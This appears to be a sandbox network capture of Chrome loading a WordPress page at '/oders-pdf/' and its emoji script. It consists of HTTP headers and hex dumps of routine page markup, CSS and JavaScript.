2025-01-15 02:37:00 UTC	1378	IN	Data Raw: 7c 06 df 6b 61 0a a6 8e d5 7e bd ae 06 3a 42 2d 7a 0d 1c 13 ea 54 54 18 4d 3e 82 f2 1f d7 be 86 f2 11 96 fc 21 48 d8 1d fe f6 64 02 de 8f ee 48 a8 d0 1d a7 12 9b 59 de a1 2e d4 35 58 a3 06 50 72 a7 4a cc f3 6a 2f c4 16 7d 10 7f 38 96 82 be 9a 77 b0 56 1b 82 f7 60 aa 99 20 e6 f9 6a 0b e6 7f a8 76 01 62 77 06 29 ff 0f 18 f5 4d d4 43 02 ce 89 ed 48 24 60 47 2d dd 5f fa 1f f6 de 03 ae a9 e5 5b 14 9e 9d 50 42 0b bd a8 a0 c1 8e 48 55 04 ac 20 cd 46 11 50 94 22 04 08 10 81 04 93 d0 44 05 ec 88 a2 1e db 51 41 c1 8e 28 8a a2 a8 88 8a 8a 15 0b f6 86 0a 28 36 14 51 51 50 ca 5b 33 3b 14 cf 39 ff 77 df 77 df bd f7 bb bf ef bb 84 bd f6 2a 33 6b d6 ac 59 b3 66 76 21 68 63 98 a6 82 e1 75 c0 15 d1 54 4d 5c 32 59 05 b7 cb 56 f5 d3 56 44 da 6c cc e9 a1 73 17 06 cd 5c e1 85 Data Ascii: \|ka~:B-zTTM>!HdHY.5XPrJj/}8wV` jvbw)MCH$`G-_[PBHU FP"DQA((6QQP[3;9ww*3kYfv!hcuTM\2YVVDls\
2025-01-15 02:37:00 UTC	1378	IN	Data Raw: cb 59 a2 13 fe f4 18 3d a0 d6 c8 0d 43 b7 08 45 47 f2 70 f4 8c 50 97 18 7f 68 b4 c9 0c 47 2d 52 4a 89 e9 cc b0 42 5a 01 98 5a 84 f4 64 ff 94 b3 42 e6 01 b4 ac 5c c1 98 b2 42 13 08 25 c7 72 43 db 40 16 22 a5 66 a0 9d 40 ad 09 e8 d2 39 02 1d 0e e8 d2 69 8d ae 74 d3 69 8d 5e 75 d3 69 8d 5a 02 ba ac b6 46 03 66 75 59 6d 83 cc 66 75 59 6d 8b 46 13 8a c9 aa 64 ac 02 4a f0 9b 0c d7 91 68 60 e8 4a 60 3b 0b 43 7d 55 bc 4b b3 53 c0 b8 96 4e 17 54 d2 f9 ab f4 bf 1b 7e 9f c0 7b ac ff 78 f8 0d 6f 8f 51 2b 81 96 6c 0c 69 5f d1 78 ab 54 aa 80 fc d4 28 18 15 ec dd 1e 00 15 91 11 40 35 58 fd 30 b4 25 d0 9e c0 89 04 4e 25 70 26 40 6d c4 25 38 9f c0 39 04 26 02 ec 89 d2 00 72 d0 66 a2 33 87 c0 5c 02 4b 09 bc 4a 60 15 c0 81 e8 1d c1 d5 29 d2 3a 85 35 18 12 7c 2a 81 7c 80 a6 Data Ascii: Y=CEGpPhG-RJBZZdB\B%rC@"f@9iti^uiZFfuYmfuYmFdJh`J`;C}UKSNT~{xoQ+li_xT(@5X0%N%p&@m%89&rf3\KJ`):5\|*\|
2025-01-15 02:37:00 UTC	1378	IN	Data Raw: af 12 f8 92 e8 a9 21 1a 6a 48 f9 1a a2 a1 86 94 7f 47 ca 20 0a 97 61 52 77 b1 7f 08 de 8f c2 ed f6 a3 f2 d0 22 05 3b c2 71 20 1c 07 e0 3c 53 08 22 9c 10 c2 09 a1 b0 37 f8 d4 05 f4 87 a2 21 03 eb 34 64 3c 45 32 2c 43 46 0d 52 61 d9 13 8e 3d e1 d8 03 c7 98 15 c4 c0 ad 07 31 70 bb 5c 22 e5 12 29 17 a4 c3 59 a9 84 93 4a 38 a9 c0 19 c3 ca 21 9c 1c c2 c9 01 ce 64 56 29 e1 94 12 4e 29 70 66 b2 aa 08 a7 8a 70 aa 80 13 c6 a2 98 98 43 31 31 87 62 d6 20 11 cb 90 70 0c 09 c7 10 38 0b 58 f6 84 63 4f 38 f6 c0 59 c1 e2 12 0e 97 70 b8 c0 d9 c4 4a 25 9c 54 c2 49 05 ce 4e 56 0e e1 e4 10 4e 0e 70 8e b1 4a 09 a7 94 70 4a 81 53 ca aa 62 1e c5 ad cb 60 ff 18 ca 90 76 65 30 87 23 8b fb 6e 27 8b c7 3d 48 16 f3 53 08 cc 26 f0 1c 81 2f 09 44 72 18 72 08 b4 23 30 88 c0 14 02 b3 09 Data Ascii: !jHG aRw";q <S"7!4d<E2,CFRa=1p\")YJ8!dV)N)pfpC11b p8XcO8YpJ%TINVNpJpJSb`ve0#n'=HS&/Drr#0
2025-01-15 02:37:00 UTC	1378	IN	Data Raw: 9a e7 9d 18 c3 9b c0 15 84 46 91 8e 60 0a b7 28 e5 78 c2 48 72 b1 a7 90 33 5f 5a bd c3 60 2f 49 a2 94 43 06 44 28 82 89 4d f3 9c 85 02 49 97 14 e6 12 14 a7 69 88 9b 10 30 b5 3b cb 55 1c 0e f3 85 c6 71 b7 dc b8 d1 74 bd 4e 04 b7 4c 08 2c 76 f7 72 8e 8d 8a 22 e4 34 98 9e 04 01 b3 a5 8a 79 e2 f1 89 1d 2c 47 be 08 8c 17 8a 68 06 84 2a 0f cf 20 a2 d1 95 2f e0 47 c7 46 7b c5 44 81 63 bc 42 44 3c 9e 00 7b 2b 8a 9b 48 8a d8 c7 c4 40 e8 4c e1 0b 20 2e 84 d1 c1 f8 4c 6a 41 04 f0 a3 08 37 82 17 12 09 bd c6 81 37 45 18 12 e9 2e 20 e1 85 7d d7 e1 c3 ae d9 20 a2 0d 77 80 da b1 22 5a 53 07 2e e2 89 85 b1 a2 10 5e 07 4d fb 45 8c fd 29 06 23 a2 a4 71 02 b3 85 87 e8 ec 47 d0 6e 22 2f 9e 44 82 9f f2 12 be 34 f7 10 dc 21 0a 66 4b c7 74 46 8e bc e0 d8 f0 70 9e 68 bc 08 d4 e3 Data Ascii: F`(xHr3_Z`/ICD(MIi0;UqtNL,vr"4y,Gh* /GF{DcBD<{+H@L .LjA77E. } w"ZS.^ME)#qGn"/D4!fKtFph
2025-01-15 02:37:00 UTC	1378	IN	Data Raw: db c3 a4 89 e3 42 ac 20 d3 10 1a 92 93 2b ac 70 f8 ec 22 e2 c6 44 f0 43 c4 9d 2b 13 9f 1b 2e 10 8a 25 98 85 6d 1d 8f af 98 c4 ff 7c a5 09 29 89 0c 26 bd 56 75 0d 2e fa 6d a8 ff 45 dd df 76 db d2 92 7f 59 89 49 0e 11 c6 fc 1b 8a 3a 86 e3 5f 69 f9 97 72 69 a4 88 3b b7 18 ae 89 ff c0 24 37 4d 4c 45 7f e3 77 96 ec 26 a3 77 85 10 b1 38 63 8b f1 9a 86 f7 81 e2 6e ab 46 b7 41 a4 dd 86 2f 87 c4 c8 47 c4 97 f0 ec a3 a2 c6 27 4a b0 81 12 fa 15 53 92 04 a4 57 22 88 5c f1 c2 be a8 93 e1 9a d8 89 92 b4 92 20 89 12 86 d3 6d 75 e0 21 c2 e8 68 2e 7d c9 05 09 4e dc 2d fe 09 d9 11 e7 84 20 5b aa ce 15 57 0c db af 30 1e c4 6e 08 cf 69 4e 2c a6 a7 c1 45 9a 58 1a be 24 79 77 3a 52 7a 79 45 3c 45 97 a0 31 e9 94 a6 17 9b a8 28 7a 71 13 ff 7e f9 ee 08 23 24 c0 db 2d 31 5e 13 e2 Data Ascii: B +p"DC+.%m\|)&Vu.mEvYI:_iri;$7MLEw&w8cnFA/G'JSW"\ mu!h.}N- [W0niN,EX$yw:RzyE<E1(zq~#$-1^
2025-01-15 02:37:00 UTC	1378	IN	Data Raw: 1f 99 fe 85 d3 1f 21 27 8f df 7a c8 eb f4 14 f6 0a 87 78 1b 4f fd 50 22 eb 08 63 0e 09 ee 50 32 6e 78 22 22 0a 0d 73 ea 56 b3 2b 38 bb d7 89 21 ad 88 49 b4 89 a0 36 4a 6d fe 3f 9f 31 2a 48 11 71 fe e7 f3 ff 91 0f 52 ff 7d b1 86 6c a7 e2 43 d6 38 47 c8 ba 3e 20 37 81 1c dc 21 c5 d3 82 d2 e5 c0 72 fa 7b 00 61 3e ea 43 2f bb bf eb e3 40 36 37 85 c9 06 0b ac ee ef 92 ce 6d 80 52 12 4c 59 7b 34 1e 3f b0 d7 fe c7 85 3e 25 eb bf f5 7c ef f1 57 77 04 22 7a d7 85 06 cd ec 9c 7f c1 24 13 f2 49 b6 17 93 5c d8 35 23 51 ca ee 99 7f 49 ed 1c b2 fe 86 92 ae d1 69 5d 24 4d c2 d1 52 05 5c e8 70 c7 f2 f0 7b 72 0c 91 ee 11 22 89 be 8e a4 2e 21 e9 1c e3 70 bd 41 56 29 ba 9d ee eb 17 8f b4 89 8d 0c ff 87 96 10 73 01 1c 30 d2 4c 23 38 0c e1 b0 83 a3 1f 1c 90 be 98 03 e0 98 05 Data Ascii: !'zxOP"cP2nx""sV+8!I6Jm?1*HqR}lC8G> 7!r{a>C/@67mRLY{4?>%\|Ww"z$I\5#QIi]$MR\p{r".!pAV)s0L#8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49759	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:05 UTC	670	OUT	GET /oders-pdf/ HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:06 UTC	344	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:05 GMT Content-Type: text/html Content-Length: 150863 Last-Modified: Sun, 12 Jan 2025 02:31:04 GMT Connection: close Vary: Accept-Encoding ETag: "67832968-24d4f" Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:06 UTC	16040	IN	Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 75 70 67 72 61 64 65 2d 69 6e 73 65 63 75 72 65 2d 72 65 71 75 65 73 74 73 22 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f Data Ascii: <meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests"><!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.o
2025-01-15 02:37:06 UTC	16384	IN	Data Raw: 2d 73 69 7a 65 3a 31 37 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 36 32 35 72 65 6d 3b 7d 68 35 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 35 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 35 20 61 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 7d 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 74 69 74 6c 65 2c 2e 70 61 67 65 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 30 70 78 3b 7d 68 65 61 64 65 72 20 2e 63 75 73 74 6f 6d 2d 6c 6f 67 6f 2d 6c 69 6e 6b 20 69 6d 67 2c 2e 61 73 74 2d 68 65 61 64 65 72 2d 62 72 65 61 6b 2d 70 6f 69 6e 74 20 2e 73 69 74 65 2d 62 72 61 6e 64 69 6e 67 20 69 6d 67 2c 2e 61 73 74 2d 68 65 61 64 65 72 2d 62 72 65 61 6b 2d 70 6f 69 Data Ascii: -size:17px;font-size:1.0625rem;}h5,.entry-content h5,.entry-content h5 a{font-size:16px;font-size:1rem;}.ast-single-post .entry-title,.page-title{font-size:30px;}header .custom-logo-link img,.ast-header-break-point .site-branding img,.ast-header-break-poi
2025-01-15 02:37:06 UTC	16384	IN	Data Raw: 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 70 61 64 64 69 6e 67 3a 20 30 20 33 65 6d 20 30 20 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 70 78 3b 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 7d 2e 61 73 74 2d 73 65 61 72 63 68 2d 6d 65 6e 75 2d 69 63 6f 6e 20 2e 61 73 74 72 61 2d 73 65 61 72 63 68 2d 69 63 6f 6e 20 7b 2d 6a 73 2d 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b Data Ascii: ight: normal;padding: 0 3em 0 0;border-radius: 2px;display: inline-block;-webkit-backface-visibility: hidden;backface-visibility: hidden;position: relative;color: inherit;background-color: #fff;}.ast-search-menu-icon .astra-search-icon {-js-display: flex;
2025-01-15 02:37:06 UTC	16384	IN	Data Raw: 6f 74 65 72 2d 77 69 64 67 65 74 2d 61 72 65 61 2d 69 6e 6e 65 72 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 61 73 74 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 35 29 3b 7d 2e 66 6f 6f 74 65 72 2d 77 69 64 67 65 74 2d 61 72 65 61 5b 64 61 74 61 2d 73 65 63 74 69 6f 6e 3d 22 73 69 64 65 62 61 72 2d 77 69 64 67 65 74 73 2d 66 6f 6f 74 65 72 2d 77 69 64 67 65 74 2d 34 22 5d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 39 32 31 70 78 29 7b 2e 61 73 74 2d 68 65 61 64 65 72 2d 62 72 65 61 6b 2d 70 6f 69 6e 74 20 2e 66 6f 6f 74 65 72 2d 77 69 64 67 65 74 2d 61 72 65 61 5b 64 61 74 61 2d 73 65 63 74 69 6f 6e 3d 22 73 69 64 65 62 61 72 2d 77 69 64 67 65 74 73 2d 66 6f 6f 74 65 72 2d 77 69 64 67 65 74 2d 34 22 5d Data Ascii: oter-widget-area-inner{color:var(--ast-global-color-5);}.footer-widget-area[data-section="sidebar-widgets-footer-widget-4"]{display:block;}@media (max-width:921px){.ast-header-break-point .footer-widget-area[data-section="sidebar-widgets-footer-widget-4"]
2025-01-15 02:37:06 UTC	16384	IN	Data Raw: 73 74 68 65 61 64 20 2e 61 73 74 2d 6d 6f 62 69 6c 65 2d 68 65 61 64 65 72 2d 77 72 61 70 20 2e 61 73 74 2d 62 65 6c 6f 77 2d 68 65 61 64 65 72 2d 62 61 72 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 30 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 70 78 3b 7d 7d 2e 61 73 74 2d 68 65 61 64 65 72 2d 62 72 65 61 6b 2d 70 6f 69 6e 74 20 2e 61 73 74 2d 70 72 69 6d 61 72 79 2d 68 65 61 64 65 72 2d 62 61 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 77 69 64 74 68 3a 31 70 78 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 23 65 61 65 61 65 61 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 3b 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 32 32 70 78 29 7b 2e 61 73 74 2d 70 72 69 6d 61 72 Data Ascii: sthead .ast-mobile-header-wrap .ast-below-header-bar{padding-left:20px;padding-right:20px;}}.ast-header-break-point .ast-primary-header-bar{border-bottom-width:1px;border-bottom-color:#eaeaea;border-bottom-style:solid;}@media (min-width:922px){.ast-primar
2025-01-15 02:37:06 UTC	16384	IN	Data Raw: 6c 6c 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6d 65 64 69 75 6d 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6d 65 64 69 75 6d 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 61 72 67 65 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6c 61 72 67 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 78 2d 6c 61 72 67 65 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 78 2d 6c 61 72 67 65 29 20 21 69 6d 70 6f Data Ascii: ll) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !impo
2025-01-15 02:37:06 UTC	16384	IN	Data Raw: 75 63 74 3a 6e 74 68 2d 63 68 69 6c 64 28 33 6e 29 2c 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 65 2e 6d 6f 62 69 6c 65 2d 63 6f 6c 75 6d 6e 73 2d 33 20 75 6c 2e 70 72 6f 64 75 63 74 73 20 6c 69 2e 70 72 6f 64 75 63 74 3a 6e 74 68 2d 63 68 69 6c 64 28 33 6e 29 2c 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2e 6d 6f 62 69 6c 65 2d 63 6f 6c 75 6d 6e 73 2d 32 20 75 6c 2e 70 72 6f 64 75 63 74 73 20 6c 69 2e 70 72 6f 64 75 63 74 3a 6e 74 68 2d 63 68 69 6c 64 28 32 6e 29 2c 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 65 2e 6d 6f 62 69 6c 65 2d 63 6f 6c 75 6d 6e 73 2d 32 20 75 6c 2e 70 72 6f 64 75 63 74 73 20 6c 69 2e 70 72 6f 64 75 63 74 3a 6e 74 68 2d 63 68 69 6c 64 28 32 6e 29 2c 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 64 69 76 2e 70 72 6f 64 75 Data Ascii: uct:nth-child(3n), .woocommerce-page.mobile-columns-3 ul.products li.product:nth-child(3n), .woocommerce.mobile-columns-2 ul.products li.product:nth-child(2n), .woocommerce-page.mobile-columns-2 ul.products li.product:nth-child(2n), .woocommerce div.produ
2025-01-15 02:37:06 UTC	16384	IN	Data Raw: 72 3e 3c 66 65 43 6f 6d 70 6f 73 69 74 65 20 69 6e 32 3d 22 53 6f 75 72 63 65 47 72 61 70 68 69 63 22 20 6f 70 65 72 61 74 6f 72 3d 22 69 6e 22 20 2f 3e 3c 2f 66 69 6c 74 65 72 3e 3c 2f 64 65 66 73 3e 3c 2f 73 76 67 3e 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 30 20 30 22 20 77 69 64 74 68 3d 22 30 22 20 68 65 69 67 68 74 3d 22 30 22 20 66 6f 63 75 73 61 62 6c 65 3d 22 66 61 6c 73 65 22 20 72 6f 6c 65 3d 22 6e 6f 6e 65 22 20 73 74 79 6c 65 3d 22 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 6c 65 66 74 3a 20 2d 39 39 39 39 70 78 3b 20 6f 76 65 72 66 6c 6f 77 3a 20 68 Data Ascii: r><feComposite in2="SourceGraphic" operator="in" /></filter></defs></svg><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 0 0" width="0" height="0" focusable="false" role="none" style="visibility: hidden; position: absolute; left: -9999px; overflow: h
2025-01-15 02:37:06 UTC	16384	IN	Data Raw: 74 6c 65 2e 65 6c 65 6d 65 6e 74 6f 72 2d 73 69 7a 65 2d 6c 61 72 67 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 39 70 78 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 68 65 61 64 69 6e 67 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 68 65 61 64 69 6e 67 2d 74 69 74 6c 65 2e 65 6c 65 6d 65 6e 74 6f 72 2d 73 69 7a 65 2d 78 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 39 70 78 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 68 65 61 64 69 6e 67 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 68 65 61 64 69 6e 67 2d 74 69 74 6c 65 2e 65 6c 65 6d 65 6e 74 6f 72 2d 73 69 7a 65 2d 78 78 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 35 39 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 68 32 20 63 6c 61 73 73 3d 22 65 6c 65 6d 65 6e 74 6f 72 2d 68 65 61 64 69 6e 67 2d 74 69 74 6c 65 20 65 6c 65 Data Ascii: tle.elementor-size-large{font-size:29px}.elementor-widget-heading .elementor-heading-title.elementor-size-xl{font-size:39px}.elementor-widget-heading .elementor-heading-title.elementor-size-xxl{font-size:59px}</style><h2 class="elementor-heading-title ele
2025-01-15 02:37:06 UTC	3751	IN	Data Raw: 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 77 6f 6c 75 6e 74 65 63 68 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 63 6f 72 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 33 2e 31 27 20 69 64 3d 27 6a 71 75 65 72 79 2d 75 69 2d 63 6f 72 65 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 69 64 3d 27 65 6c 65 6d 65 6e 74 6f 72 2d 66 72 6f 6e 74 65 6e 64 2d 6a 73 2d 62 65 66 6f 72 65 27 3e 0a 76 61 72 20 65 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 43 6f 6e 66 69 67 20 3d 20 7b 22 65 6e 76 69 72 6f 6e 6d 65 6e 74 4d 6f 64 65 22 3a 7b 22 65 64 69 74 22 3a 66 61 6c 73 65 2c 22 77 70 50 72 65 76 69 65 77 22 3a 66 61 Data Ascii: js'></script><script src='https://www.woluntech.com/wp-includes/js/jquery/ui/core.min.js?ver=1.13.1' id='jquery-ui-core-js'></script><script id='elementor-frontend-js-before'>var elementorFrontendConfig = {"environmentMode":{"edit":false,"wpPreview":fa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49760	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:06 UTC	577	OUT	GET /wp-includes/js/wp-emoji-release.min.js?ver=6.0.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:06 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:06 GMT Content-Type: application/javascript Content-Length: 18617 Last-Modified: Thu, 26 May 2022 06:25:51 GMT Connection: close Vary: Accept-Encoding ETag: "628f1d6f-48b9" Expires: Thu, 15 Jan 2026 02:37:06 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:06 UTC	15956	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2f 2f 20 53 6f 75 72 63 65 3a 20 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 74 77 65 6d 6f 6a 69 2e 6d 69 6e 2e 6a 73 0a 76 61 72 20 74 77 65 6d 6f 6a 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 66 3d 7b 62 61 73 65 3a 22 68 74 74 70 73 3a 2f 2f 74 77 65 6d 6f 6a 69 2e 6d 61 78 63 64 6e 2e 63 6f 6d 2f 76 2f 31 34 2e 30 2e 32 2f 22 2c 65 78 74 3a 22 2e 70 6e 67 22 2c 73 69 7a 65 3a 22 37 32 78 37 32 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 22 65 6d 6f 6a 69 22 2c 63 6f 6e 76 65 72 74 3a 7b 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 64 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 Data Ascii: /! This file is auto-generated /// Source: wp-includes/js/twemoji.min.jsvar twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/v/14.0.2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typ
2025-01-15 02:37:06 UTC	2661	IN	Data Raw: 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 54 72 69 64 65 6e 74 2f 37 2e 30 22 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 72 65 74 75 72 6e 21 61 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 68 61 73 46 65 61 74 75 72 65 7c 7c 61 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 68 61 73 46 65 61 74 75 72 65 28 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 53 56 47 31 31 2f 66 65 61 74 75 72 65 23 49 6d 61 67 65 22 2c 22 31 2e 31 22 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 69 66 28 21 74 29 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 63 2e 74 77 65 6d 6f 6a 69 29 72 65 74 75 72 6e 20 36 30 30 3c 72 3f 76 6f 69 64 20 30 3a 28 63 2e 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 75 29 2c 75 3d 63 2e 73 65 74 54 69 6d 65 6f 75 74 28 73 2c 35 30 29 Data Ascii: ent.indexOf("Trident/7.0");function i(){return!a.implementation.hasFeature\|\|a.implementation.hasFeature("http://www.w3.org/TR/SVG11/feature#Image","1.1")}function s(){if(!t){if(void 0===c.twemoji)return 600<r?void 0:(c.clearTimeout(u),u=c.setTimeout(s,50)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49762	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
